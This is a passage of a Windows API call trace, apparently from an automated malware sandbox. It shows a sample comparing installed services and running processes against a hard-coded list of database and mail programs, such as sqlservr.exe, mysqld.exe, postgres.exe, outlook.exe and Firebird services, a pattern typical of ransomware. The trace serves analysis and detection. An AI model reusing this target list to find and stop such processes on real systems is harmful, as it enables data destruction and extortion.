[0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.714] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.714] lstrlenW (lpString="WinDefend") returned 9 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0042.714] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.715] lstrlenW (lpString="Winmgmt") returned 7 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.715] lstrlenW (lpString="wscsvc") returned 6 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0042.715] lstrlenW (lpString="wuauserv") returned 8 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0042.715] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f2700 | out: hHeap=0x520000) returned 1 [0042.716] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0042.721] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.721] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.721] lstrlenW (lpString="System") returned 6 [0042.722] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.722] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.722] lstrlenW (lpString="smss.exe") returned 8 [0042.722] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.722] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.723] lstrlenW (lpString="csrss.exe") returned 9 [0042.723] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.724] lstrlenW (lpString="wininit.exe") returned 11 [0042.724] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.725] lstrlenW (lpString="csrss.exe") returned 9 [0042.725] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.725] lstrlenW (lpString="winlogon.exe") returned 12 [0042.725] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.726] lstrlenW (lpString="services.exe") returned 12 [0042.726] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.726] lstrlenW (lpString="lsass.exe") returned 9 [0042.726] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.727] lstrlenW (lpString="lsm.exe") returned 7 [0042.727] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.727] lstrlenW (lpString="svchost.exe") returned 11 [0042.727] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.728] lstrlenW (lpString="svchost.exe") returned 11 [0042.728] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.728] lstrlenW (lpString="svchost.exe") returned 11 [0042.728] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.729] lstrlenW (lpString="svchost.exe") returned 11 [0042.729] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.729] lstrlenW (lpString="svchost.exe") returned 11 [0042.729] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.730] lstrlenW (lpString="audiodg.exe") returned 11 [0042.730] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.730] lstrlenW (lpString="svchost.exe") returned 11 [0042.730] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.731] lstrlenW (lpString="svchost.exe") returned 11 [0042.731] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.731] lstrlenW (lpString="dwm.exe") returned 7 [0042.731] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.732] lstrlenW (lpString="explorer.exe") returned 12 [0042.732] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.732] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.732] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.733] lstrlenW (lpString="taskhost.exe") returned 12 [0042.733] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.733] lstrlenW (lpString="svchost.exe") returned 11 [0042.734] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.734] lstrlenW (lpString="taskeng.exe") returned 11 [0042.734] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.735] lstrlenW (lpString="taskhost.exe") returned 12 [0042.735] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.735] lstrlenW (lpString="svchost.exe") returned 11 [0042.735] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0042.736] lstrlenW (lpString="sppsvc.exe") returned 10 [0042.736] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.736] lstrlenW (lpString="svchost.exe") returned 11 [0042.736] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0042.737] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0042.737] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0042.737] lstrlenW (lpString="smsvhskate.exe") returned 14 [0042.737] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0042.738] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0042.738] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0042.738] lstrlenW (lpString="patient latin.exe") returned 17 [0042.738] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0043.199] lstrlenW (lpString="barbados.exe") returned 12 [0043.199] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0043.200] lstrlenW (lpString="otthose.exe") returned 11 [0043.200] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0043.201] lstrlenW (lpString="suburban.exe") returned 12 [0043.201] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0043.201] lstrlenW (lpString="examination.exe") returned 15 [0043.201] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0043.202] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0043.202] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0043.203] lstrlenW (lpString="madrid.exe") returned 10 [0043.203] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0043.204] lstrlenW (lpString="measurerush.exe") returned 15 [0043.204] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0043.204] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0043.204] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0043.205] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0043.205] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0043.206] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0043.206] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0043.206] lstrlenW (lpString="jessefun.exe") returned 12 [0043.206] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0043.207] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0043.207] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0043.208] lstrlenW (lpString="sellers.exe") returned 11 [0043.208] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0043.208] lstrlenW (lpString="gras hair.exe") returned 13 [0043.208] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0043.209] lstrlenW (lpString="acquisitions.exe") returned 16 [0043.209] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0043.210] lstrlenW (lpString="starscondos.exe") returned 15 [0043.210] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0043.210] lstrlenW (lpString="3dftp.exe") returned 9 [0043.211] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0043.211] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0043.211] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0043.212] lstrlenW (lpString="alftp.exe") returned 9 [0043.212] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0043.212] lstrlenW (lpString="barca.exe") returned 9 [0043.213] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0043.213] lstrlenW (lpString="bitkinex.exe") returned 12 [0043.213] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0043.214] lstrlenW (lpString="coreftp.exe") returned 11 [0043.214] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0043.215] lstrlenW (lpString="far.exe") returned 7 [0043.215] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0043.216] lstrlenW (lpString="filezilla.exe") returned 13 [0043.216] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0043.216] lstrlenW (lpString="flashfxp.exe") returned 12 [0043.216] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0043.217] lstrlenW (lpString="fling.exe") returned 9 [0043.217] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0043.218] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0043.218] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0043.219] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 